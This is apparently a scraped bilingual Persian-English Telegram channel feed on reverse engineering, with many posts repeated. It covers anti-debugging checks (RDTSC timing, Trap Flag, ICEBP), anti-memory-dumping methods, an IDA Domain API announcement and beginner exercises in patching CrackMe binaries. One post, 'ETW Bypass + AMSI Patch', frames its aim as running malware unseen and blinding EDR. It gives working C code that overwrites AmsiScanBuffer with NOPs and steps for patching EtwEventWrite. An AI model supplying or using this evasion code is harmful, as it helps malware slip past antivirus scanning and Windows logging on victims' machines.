The.IDA.Pro.Book.2nd.Edition.Jun.2011.pdf
9.2 MB
مرجع اصلی برای یادگیری IDA Pro از پایه تا استفاده پیشرفته و اسکریپتنویسی
The ultimate reference for learning IDA Pro from basics to advanced usage and noscripting
The ultimate reference for learning IDA Pro from basics to advanced usage and noscripting
استفاده از RDTSC (Read Time-Stamp Counter)
دستور RDTSC تعداد سیکلهای CPU از زمان روشن شدن سیستم رو برمیگردونه
در حالت عادی اختلاف زمانی بین دو دستور پشت سر هم خیلی کم هست
ولی وقتی دیباگر در حالت Single-Step اجرا کنه این اختلاف چند هزار برابر میشه
Using RDTSC (Read Time-Stamp Counter)
The RDTSC instruction returns the number of CPU cycles since the system was powered on
Normally the time difference between two consecutive RDTSC instructions is very small
But when a debugger runs the program in Single-Step mode this difference becomes thousands of times larger
دستور RDTSC تعداد سیکلهای CPU از زمان روشن شدن سیستم رو برمیگردونه
در حالت عادی اختلاف زمانی بین دو دستور پشت سر هم خیلی کم هست
ولی وقتی دیباگر در حالت Single-Step اجرا کنه این اختلاف چند هزار برابر میشه
rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected
Using RDTSC (Read Time-Stamp Counter)
The RDTSC instruction returns the number of CPU cycles since the system was powered on
Normally the time difference between two consecutive RDTSC instructions is very small
But when a debugger runs the program in Single-Step mode this difference becomes thousands of times larger
rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected
❤1
🛡️ ETW Bypass + AMSI Patch
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious noscript on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing noscript-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning noscript contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious noscript on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing noscript-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning noscript contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
❤1👏1
استفاده از API مخصوص دیباگرها
در ویندوز اگر روی یک Thread فلگ Trap Flag (TF) فعال باشه یعنی دیباگر در حالت Single-Step قرار داره
با تابع GetThreadContext میشه مقدار رجیستر EFLAGS/RFLAGS رو خوند و بررسی کرد:
Using Debugger-Specific APIs
In Windows if the Trap Flag (TF) is enabled on a thread it means the debugger is in Single-Step mode
By using the GetThreadContext function you can read the value of the EFLAGS/RFLAGS register and check it:
در ویندوز اگر روی یک Thread فلگ Trap Flag (TF) فعال باشه یعنی دیباگر در حالت Single-Step قرار داره
با تابع GetThreadContext میشه مقدار رجیستر EFLAGS/RFLAGS رو خوند و بررسی کرد:
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.EFlags & 0x100) // Trap Flag فعال
{
// دیباگر در حالت Single-Step
}
Using Debugger-Specific APIs
In Windows if the Trap Flag (TF) is enabled on a thread it means the debugger is in Single-Step mode
By using the GetThreadContext function you can read the value of the EFLAGS/RFLAGS register and check it:
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.EFlags & 0x100) // Trap Flag is enabled
{
// Debugger is in Single-Step mode
}
❤1👏1
تغییر کد در حین اجرا Self-Modifying Code
وقتی کد وسط اجرا تغییر کنه Single-Step باعث میشه دیباگر نسخه کششده در حافظه رو نمایش بده و نه نسخه واقعی
این تفاوت میتونه برای شناسایی دیباگر استفاده بشه
استفاده از دستورهای غیرمستند Undocumented Instructions
برخی دستورها مثل ICEBP (opcode: F1) برای دیباگرها مشکلساز هستن
در حالت عادی سیستم با این دستور رفتار خاصی نمیکنه ولی وقتی دیباگر فعال باشه باعث توقف آنی میشه
وقفههای زمانبندیشده Timed Exceptions
برنامه میتونه در یک حلقه عملیات زمانبر رو چک کنه
اگر طولانیتر از حد مجاز بشه (به دلیل Single-Step) برنامه متوجه میشه که داره دیباگ میشه
Self-Modifying Code
When code is modified during execution Single-Step debugging can cause the debugger to display the cached version of the code in memory instead of the actual modified version
This discrepancy can be used to detect the presence of a debugger
Using Undocumented Instructions
Some instructions such as ICEBP (opcode: F1) can cause issues for debuggers
Under normal circumstances the system doesn’t show any special behavior for these instructions, but when a debugger is active executing them will trigger an immediate break
Timed Exceptions
A program can monitor the execution time of certain loops or operations
If execution takes longer than a predefined threshold (due to Single-Step debugging) the program can detect that it’s being debugged
وقتی کد وسط اجرا تغییر کنه Single-Step باعث میشه دیباگر نسخه کششده در حافظه رو نمایش بده و نه نسخه واقعی
این تفاوت میتونه برای شناسایی دیباگر استفاده بشه
استفاده از دستورهای غیرمستند Undocumented Instructions
برخی دستورها مثل ICEBP (opcode: F1) برای دیباگرها مشکلساز هستن
در حالت عادی سیستم با این دستور رفتار خاصی نمیکنه ولی وقتی دیباگر فعال باشه باعث توقف آنی میشه
وقفههای زمانبندیشده Timed Exceptions
برنامه میتونه در یک حلقه عملیات زمانبر رو چک کنه
اگر طولانیتر از حد مجاز بشه (به دلیل Single-Step) برنامه متوجه میشه که داره دیباگ میشه
Self-Modifying Code
When code is modified during execution Single-Step debugging can cause the debugger to display the cached version of the code in memory instead of the actual modified version
This discrepancy can be used to detect the presence of a debugger
Using Undocumented Instructions
Some instructions such as ICEBP (opcode: F1) can cause issues for debuggers
Under normal circumstances the system doesn’t show any special behavior for these instructions, but when a debugger is active executing them will trigger an immediate break
Timed Exceptions
A program can monitor the execution time of certain loops or operations
If execution takes longer than a predefined threshold (due to Single-Step debugging) the program can detect that it’s being debugged
❤4
Forwarded from OnHex
🔴 یکی از قابلیتهای IDA Pro امکان اسکریپت نویسی در این ابزار هستش که باهاش میتونید، کارهاتون رو خودکار کنید.
برای اسکریپت نویسی معمولا از IDA Python SDK استفاده میشه. اما مشکلی که داره اینه که برای کارهای ساده، نیاز به کدنویسی تکراری و طولانی هستش.
شرکت Hex-Rays برای حل این مشکل IDA Domain API رو بصورت متن باز معرفی کرده که امکان اسکریپت نویسی در پایتون، برای IDA رو ساده تر میکنه.
فعلا نسخه ی v0.1.0 این ابزار برای IDA 9.1 در دسترس هستش که میتونید از اینجا بهش دسترسی داشته باشید.
کلمه ی Domain اشاره به حوزه ی مهندسی معکوس داره. در این حوزه مفاهیمی مانند توابع، انواع و ... جزء مفاهیم کلیدی هستن و Domain API استفاده از این مفاهیم رو ساده تر میکنه.
در حقیقت Domain API روی IDA Python SDK ساخته شده و یک لایهی انتزاعی تمیز و متمرکز ارائه میده. هدفش جایگزینی SDK نیست، بلکه مکملش هستش. میتونید هر دو رو کنار هم استفاده کنید: سادگی Domain API برای وظایف روزمره، و انعطاف کامل SDK برای کارهای پیچیده.
#مهندسی_معکوس
#ReverseEngineering #IDAPro #SDK
🆔 @onhex_ir
➡️ ALL Link
برای اسکریپت نویسی معمولا از IDA Python SDK استفاده میشه. اما مشکلی که داره اینه که برای کارهای ساده، نیاز به کدنویسی تکراری و طولانی هستش.
شرکت Hex-Rays برای حل این مشکل IDA Domain API رو بصورت متن باز معرفی کرده که امکان اسکریپت نویسی در پایتون، برای IDA رو ساده تر میکنه.
فعلا نسخه ی v0.1.0 این ابزار برای IDA 9.1 در دسترس هستش که میتونید از اینجا بهش دسترسی داشته باشید.
کلمه ی Domain اشاره به حوزه ی مهندسی معکوس داره. در این حوزه مفاهیمی مانند توابع، انواع و ... جزء مفاهیم کلیدی هستن و Domain API استفاده از این مفاهیم رو ساده تر میکنه.
در حقیقت Domain API روی IDA Python SDK ساخته شده و یک لایهی انتزاعی تمیز و متمرکز ارائه میده. هدفش جایگزینی SDK نیست، بلکه مکملش هستش. میتونید هر دو رو کنار هم استفاده کنید: سادگی Domain API برای وظایف روزمره، و انعطاف کامل SDK برای کارهای پیچیده.
#مهندسی_معکوس
#ReverseEngineering #IDAPro #SDK
🆔 @onhex_ir
➡️ ALL Link
GitHub
GitHub - HexRaysSA/ida-domain: IDA Domain API - Python interface for IDA Pro reverse engineering platform
IDA Domain API - Python interface for IDA Pro reverse engineering platform - HexRaysSA/ida-domain
❤2
OnHex
🔴 یکی از قابلیتهای IDA Pro امکان اسکریپت نویسی در این ابزار هستش که باهاش میتونید، کارهاتون رو خودکار کنید. برای اسکریپت نویسی معمولا از IDA Python SDK استفاده میشه. اما مشکلی که داره اینه که برای کارهای ساده، نیاز به کدنویسی تکراری و طولانی هستش. شرکت Hex…
🔴 One of the features of IDA Pro is the ability to write noscripts in this tool, with which you can automate your tasks.
IDA Python SDK is usually used for noscripting. But the problem is that for simple tasks, it requires repetitive and long coding.
To solve this problem, Hex-Rays has introduced the IDA Domain API as an open source, which makes it easier to write noscripts in Python for IDA.
Currently, version v0.1.0 of this tool is available for IDA 9.1, which you can access from here.
The word Domain refers to the field of reverse engineering. In this field, concepts such as functions, types, etc. are key concepts, and the Domain API makes it easier to use these concepts.
In fact, the Domain API is built on the IDA Python SDK and provides a clean and focused abstraction layer. Its goal is not to replace the SDK, but to complement it. You can use both together: the simplicity of the Domain API for everyday tasks, and the full flexibility of the SDK for complex tasks.
#ReverseEngineering
#ReverseEngineering #IDAPro #SDK
🆔 @onhex_ir
➡️ ALL Link
IDA Python SDK is usually used for noscripting. But the problem is that for simple tasks, it requires repetitive and long coding.
To solve this problem, Hex-Rays has introduced the IDA Domain API as an open source, which makes it easier to write noscripts in Python for IDA.
Currently, version v0.1.0 of this tool is available for IDA 9.1, which you can access from here.
The word Domain refers to the field of reverse engineering. In this field, concepts such as functions, types, etc. are key concepts, and the Domain API makes it easier to use these concepts.
In fact, the Domain API is built on the IDA Python SDK and provides a clean and focused abstraction layer. Its goal is not to replace the SDK, but to complement it. You can use both together: the simplicity of the Domain API for everyday tasks, and the full flexibility of the SDK for complex tasks.
#ReverseEngineering
#ReverseEngineering #IDAPro #SDK
🆔 @onhex_ir
➡️ ALL Link
🔥2❤1
🛡️ Anti-Memory Dumping Techniques
یکی از روشهای محبوب تحلیلگرا Dump گرفتن از حافظهی پروسه هست
با این کار حتی اگر فایل اصلی روی دیسک رمزگذاری یا پک شده باشه نسخهی در حال اجرا (Decrypt شده در RAM) رو میگیرن و آنالیز میکنن
برای مقابله با این موضوع تکنیکهای مختلفی وجود داره:
1️⃣ پاککردن خودکار حافظه بعد از استفاده
برخی بدافزارها یا نرمافزارهای حساس وقتی کدی رو از حالت رمز خارج کردن و اجرا کردن بلافاصله دوباره اون بخش رو پاک میکنن یا دوباره Encrypt میکنن
به این میگن Just-In-Time Decryption
📌 مثال:
فانکشن قبل از اجرا Decrypt میشه
اجرا میشه
بعد از اجرا دوباره Encrypt یا پاک میشه
2️⃣ استفاده از APIهای ویندوز برای تغییر دسترسی حافظه
با توابعی مثل VirtualProtect میشه حافظهی پروسه رو فقط در حالت Execute قرار داد (بدون Read)
در این حالت ابزارهایی مثل ProcessDump نمیتونن راحت محتوا رو بخونن
VirtualProtect(address, size, PAGE_EXECUTE, &oldProtect);
3️⃣ تشخیص وجود ابزارهای Dump
برنامه میتونه چک کنه که ابزارهایی مثل ProcDump Scylla یا OllyDump در حال اجرا هستن یا نه
این کار با APIهایی مثل CreateToolhelp32Snapshot و لیست کردن پروسهها انجام میشه
4️⃣ استفاده از Anti-Attach / Handle Protection
برخی نرمافزارها سعی میکنن مانع بشن که دیباگر یا ابزار خارجی بتونه به پروسه Attach بشه و Memory Dump بگیره
مثلا با API زیر:
SetInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &flags, sizeof(flags));
5️⃣ Fragmentation یا Fake Memory
برنامه میتونه دادههای حساس رو به چندین بخش در حافظه تقسیم کنه و بین اونها دادههای تقلبی (Fake) قرار بده
وقتی تحلیلگر Dump میگیره با کلی داده بیمعنی و قاطی روبرو میشه و پیدا کردن بخش واقعی خیلی سخت میشه
6️⃣ استفاده از Driver سطح کرنل
برخی حفاظتهای خیلی پیشرفته در سطح Kernel Driver پیادهسازی میشن
مثلا جلوی APIهای معمولی برای Dump گرفتن رو میگیرن یا دسترسی Read رو Hook میکنن
🛡️ Anti-Memory Dumping Techniques
One of the most popular methods analysts use is dumping the process memory
With this even if the original file on disk is encrypted or packed they can capture the running (decrypted in RAM) version and analyze it
To counter this, various techniques exist:
1️⃣ Automatic Memory Wiping After Use
Some malware or sensitive software once they decrypt and execute code immediately wipe that section again or re-encrypt it
This is called Just-In-Time Decryption
📌 Example:
Function is decrypted before execution
Executed
After execution it’s re-encrypted or wiped again
2️⃣ Using Windows APIs to Change Memory Access
With APIs like VirtualProtect process memory can be set to Execute-only (no Read)
In this case tools like ProcessDump cannot easily read the contents
VirtualProtect(address, size, PAGE_EXECUTE, &oldProtect);
3️⃣ Detecting Dumping Tools
The program can check if tools such as ProcDump Scylla or OllyDump are running
This can be done with APIs like CreateToolhelp32Snapshot to list processes
4️⃣ Anti-Attach / Handle Protection
Some software tries to prevent a debugger or external tool from attaching to the process and dumping memory
For example, using the API below:
SetInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &flags, sizeof(flags));
5️⃣ Fragmentation or Fake Memory
The program can split sensitive data into multiple memory sections and insert fake (decoy) data between them
When an analyst dumps memory they’re faced with lots of meaningless mixed data making it very difficult to find the real part
6️⃣ Kernel-Level Driver Usage
Some advanced protections are implemented at the kernel driver level
For example, blocking standard APIs for dumping or hooking memory Read access
یکی از روشهای محبوب تحلیلگرا Dump گرفتن از حافظهی پروسه هست
با این کار حتی اگر فایل اصلی روی دیسک رمزگذاری یا پک شده باشه نسخهی در حال اجرا (Decrypt شده در RAM) رو میگیرن و آنالیز میکنن
برای مقابله با این موضوع تکنیکهای مختلفی وجود داره:
1️⃣ پاککردن خودکار حافظه بعد از استفاده
برخی بدافزارها یا نرمافزارهای حساس وقتی کدی رو از حالت رمز خارج کردن و اجرا کردن بلافاصله دوباره اون بخش رو پاک میکنن یا دوباره Encrypt میکنن
به این میگن Just-In-Time Decryption
📌 مثال:
فانکشن قبل از اجرا Decrypt میشه
اجرا میشه
بعد از اجرا دوباره Encrypt یا پاک میشه
2️⃣ استفاده از APIهای ویندوز برای تغییر دسترسی حافظه
با توابعی مثل VirtualProtect میشه حافظهی پروسه رو فقط در حالت Execute قرار داد (بدون Read)
در این حالت ابزارهایی مثل ProcessDump نمیتونن راحت محتوا رو بخونن
VirtualProtect(address, size, PAGE_EXECUTE, &oldProtect);
3️⃣ تشخیص وجود ابزارهای Dump
برنامه میتونه چک کنه که ابزارهایی مثل ProcDump Scylla یا OllyDump در حال اجرا هستن یا نه
این کار با APIهایی مثل CreateToolhelp32Snapshot و لیست کردن پروسهها انجام میشه
4️⃣ استفاده از Anti-Attach / Handle Protection
برخی نرمافزارها سعی میکنن مانع بشن که دیباگر یا ابزار خارجی بتونه به پروسه Attach بشه و Memory Dump بگیره
مثلا با API زیر:
SetInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &flags, sizeof(flags));
5️⃣ Fragmentation یا Fake Memory
برنامه میتونه دادههای حساس رو به چندین بخش در حافظه تقسیم کنه و بین اونها دادههای تقلبی (Fake) قرار بده
وقتی تحلیلگر Dump میگیره با کلی داده بیمعنی و قاطی روبرو میشه و پیدا کردن بخش واقعی خیلی سخت میشه
6️⃣ استفاده از Driver سطح کرنل
برخی حفاظتهای خیلی پیشرفته در سطح Kernel Driver پیادهسازی میشن
مثلا جلوی APIهای معمولی برای Dump گرفتن رو میگیرن یا دسترسی Read رو Hook میکنن
🛡️ Anti-Memory Dumping Techniques
One of the most popular methods analysts use is dumping the process memory
With this even if the original file on disk is encrypted or packed they can capture the running (decrypted in RAM) version and analyze it
To counter this, various techniques exist:
1️⃣ Automatic Memory Wiping After Use
Some malware or sensitive software once they decrypt and execute code immediately wipe that section again or re-encrypt it
This is called Just-In-Time Decryption
📌 Example:
Function is decrypted before execution
Executed
After execution it’s re-encrypted or wiped again
2️⃣ Using Windows APIs to Change Memory Access
With APIs like VirtualProtect process memory can be set to Execute-only (no Read)
In this case tools like ProcessDump cannot easily read the contents
VirtualProtect(address, size, PAGE_EXECUTE, &oldProtect);
3️⃣ Detecting Dumping Tools
The program can check if tools such as ProcDump Scylla or OllyDump are running
This can be done with APIs like CreateToolhelp32Snapshot to list processes
4️⃣ Anti-Attach / Handle Protection
Some software tries to prevent a debugger or external tool from attaching to the process and dumping memory
For example, using the API below:
SetInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &flags, sizeof(flags));
5️⃣ Fragmentation or Fake Memory
The program can split sensitive data into multiple memory sections and insert fake (decoy) data between them
When an analyst dumps memory they’re faced with lots of meaningless mixed data making it very difficult to find the real part
6️⃣ Kernel-Level Driver Usage
Some advanced protections are implemented at the kernel driver level
For example, blocking standard APIs for dumping or hooking memory Read access
❤2
1 Static Analysis Workflow
چطور بدون اجرا باینری را تحلیل کنیم
تمرین : گرفتن یک باینری ساده بررسی Import Table String ها و ساختار کد با IDA/Ghidra
2 Dynamic Analysis Basics
دیباگ کردن و دنبال کردن جریان برنامه
تمرین : اجرای یک باینری در x64dbg گذاشتن Breakpoint دنبال کردن Call ها و Stack
3 Anti-Debugging Techniques
شناسایی و بایپس تکنیکهای Anti-Debugging
تمرین : بررسی IsDebuggerPresent و Timing Checks بایپس اونا با Patch یا Script
4 Control Flow Obfuscation
تحلیل برنامههایی که جریان کد رو مخفی کردن
تمرین : گرفتن یک CrackMe با Control Flow Flattening پیدا کردن مسیر واقعی با IDA/Ghidra
5 Basic Packing & Unpacking
آنالیز و خارج کردن باینریهای ساده Packed
تمرین : گرفتن باینری UPX شده Unpack کردن و آماده کردن برای دیباگ
6 Intermediate Deobfuscation
بازگردانی کد Obfuscated با ابزار و اسکریپت
تمرین: استفاده از Python یا Radare2 برای حذف Opaque Predicates و بازسازی Control Flow
7 Function & Data Analysis
شناسایی توابع کلیدی و دادهها در باینری
تمرین : پیدا کردن توابع پسورد چک License Check و تحلیل آرایهها و String های کلیدی
1️⃣ Static Analysis Workflow
How to analyze a binary without executing it
Exercise: Take a simple binary and examine its Import Table strings and code structure using IDA or Ghidra
2️⃣ Dynamic Analysis Basics
Debugging and following the program’s flow
Exercise: Run a binary in x64dbg set breakpoints and trace calls and the stack
3️⃣ Anti-Debugging Techniques
Identifying and bypassing anti-debugging mechanisms
Exercise: Check for IsDebuggerPresent and timing checks and bypass them using patches or noscripts
4️⃣ Control Flow Obfuscation
Analyzing programs that hide their execution flow
Exercise: Take a CrackMe with control flow flattening and recover the real execution path using IDA or Ghidra
5️⃣ Basic Packing & Unpacking
Analyzing and extracting simple packed binaries
Exercise: Take a UPX-packed binary unpack it and prepare it for debugging
6️⃣ Intermediate Deobfuscation
Restoring obfuscated code using tools and noscripts
Exercise: Use Python or Radare2 to remove opaque predicates and reconstruct the control flow
7️⃣ Function & Data Analysis
Identifying key functions and data in a binary
Exercise: Locate password-checking functions license checks and analyze key arrays and strings
چطور بدون اجرا باینری را تحلیل کنیم
تمرین : گرفتن یک باینری ساده بررسی Import Table String ها و ساختار کد با IDA/Ghidra
2 Dynamic Analysis Basics
دیباگ کردن و دنبال کردن جریان برنامه
تمرین : اجرای یک باینری در x64dbg گذاشتن Breakpoint دنبال کردن Call ها و Stack
3 Anti-Debugging Techniques
شناسایی و بایپس تکنیکهای Anti-Debugging
تمرین : بررسی IsDebuggerPresent و Timing Checks بایپس اونا با Patch یا Script
4 Control Flow Obfuscation
تحلیل برنامههایی که جریان کد رو مخفی کردن
تمرین : گرفتن یک CrackMe با Control Flow Flattening پیدا کردن مسیر واقعی با IDA/Ghidra
5 Basic Packing & Unpacking
آنالیز و خارج کردن باینریهای ساده Packed
تمرین : گرفتن باینری UPX شده Unpack کردن و آماده کردن برای دیباگ
6 Intermediate Deobfuscation
بازگردانی کد Obfuscated با ابزار و اسکریپت
تمرین: استفاده از Python یا Radare2 برای حذف Opaque Predicates و بازسازی Control Flow
7 Function & Data Analysis
شناسایی توابع کلیدی و دادهها در باینری
تمرین : پیدا کردن توابع پسورد چک License Check و تحلیل آرایهها و String های کلیدی
1️⃣ Static Analysis Workflow
How to analyze a binary without executing it
Exercise: Take a simple binary and examine its Import Table strings and code structure using IDA or Ghidra
2️⃣ Dynamic Analysis Basics
Debugging and following the program’s flow
Exercise: Run a binary in x64dbg set breakpoints and trace calls and the stack
3️⃣ Anti-Debugging Techniques
Identifying and bypassing anti-debugging mechanisms
Exercise: Check for IsDebuggerPresent and timing checks and bypass them using patches or noscripts
4️⃣ Control Flow Obfuscation
Analyzing programs that hide their execution flow
Exercise: Take a CrackMe with control flow flattening and recover the real execution path using IDA or Ghidra
5️⃣ Basic Packing & Unpacking
Analyzing and extracting simple packed binaries
Exercise: Take a UPX-packed binary unpack it and prepare it for debugging
6️⃣ Intermediate Deobfuscation
Restoring obfuscated code using tools and noscripts
Exercise: Use Python or Radare2 to remove opaque predicates and reconstruct the control flow
7️⃣ Function & Data Analysis
Identifying key functions and data in a binary
Exercise: Locate password-checking functions license checks and analyze key arrays and strings
❤1
1 Binary Structure Basics
ساختار فایلهای باینری و بخش های مهم اون
تمرین: باز کردن یک باینری با PE-bear یا CFF Explorer بررسی Headers ، Sections و Import/Export Table
2 Intro to Disassembly
دیدن دستورهای اسمبلی برنامه
تمرین: باز کردن یک باینری ساده در IDA یا Ghidra شناسایی رجیسترها و دستورهای اصلی مثل mov, call, jmp
3 Static String & Function Analysis
پیدا کردن String ها و توابع مهم بدون اجرا
تمرین: پیدا کردن String های پسورد یا پیامهای برنامه و شناسایی توابع کلیدی که با اونا مرتبط هستن
4 Dynamic Analysis Introduction
اجرای برنامه و دنبال کردن جریان کد
تمرین: اجرای یک باینری ساده در x64dbg گذاشتن Breakpoint و دنبال کردن Stack و Registers
5 Basic Patch & Modify
تغییر رفتار برنامه با Patch ساده
تمرین: تغییر یک شرط if یا تغییر یک MessageBox در باینری بدون Source Code
6 Understanding Simple Anti-Debugging
آشنایی با تکنیکهای ساده Anti-Debugging
تمرین: بررسی IsDebuggerPresent یا Sleep/Timing Check و بایپس با Patch یا NOP کردن
7 First CrackMe Challenge
تمرین واقعی با یک برنامه کوچک
تمرین: گرفتن یک CrackMe ساده با پسورد هاردکد پیدا کردن تابع پسورد و تغییر باینری برای عبور از چک
1️⃣ Binary Structure Basics
Understanding binary file structures and their key sections
Exercise: Open a binary with PE-bear or CFF Explorer and examine the Headers Sections and Import/Export Tables
2️⃣ Intro to Disassembly
Viewing the program’s assembly instructions
Exercise: Open a simple binary in IDA or Ghidra and identify registers and main instructions such as mov, call, and jmp
3️⃣ Static String & Function Analysis
Finding important strings and functions without executing the binary
Exercise: Locate password strings or program messages and identify key functions related to them
4️⃣ Dynamic Analysis Introduction
Running the program and following the code flow
Exercise: Execute a simple binary in x64dbg, set breakpoints and trace the stack and registers
5️⃣ Basic Patch & Modify
Changing program behavior with simple patches
Exercise: Modify an if condition or change a MessageBox in the binary without the source code
6️⃣ Understanding Simple Anti-Debugging
Getting familiar with basic anti-debugging techniques
Exercise: Check for IsDebuggerPresent or Sleep/Timing Checks and bypass them with patches or NOP instructions
7️⃣ First CrackMe Challenge
Hands-on practice with a small program
Exercise: Take a simple CrackMe with a hardcoded password find the password-checking function and modify the binary to bypass the check
ساختار فایلهای باینری و بخش های مهم اون
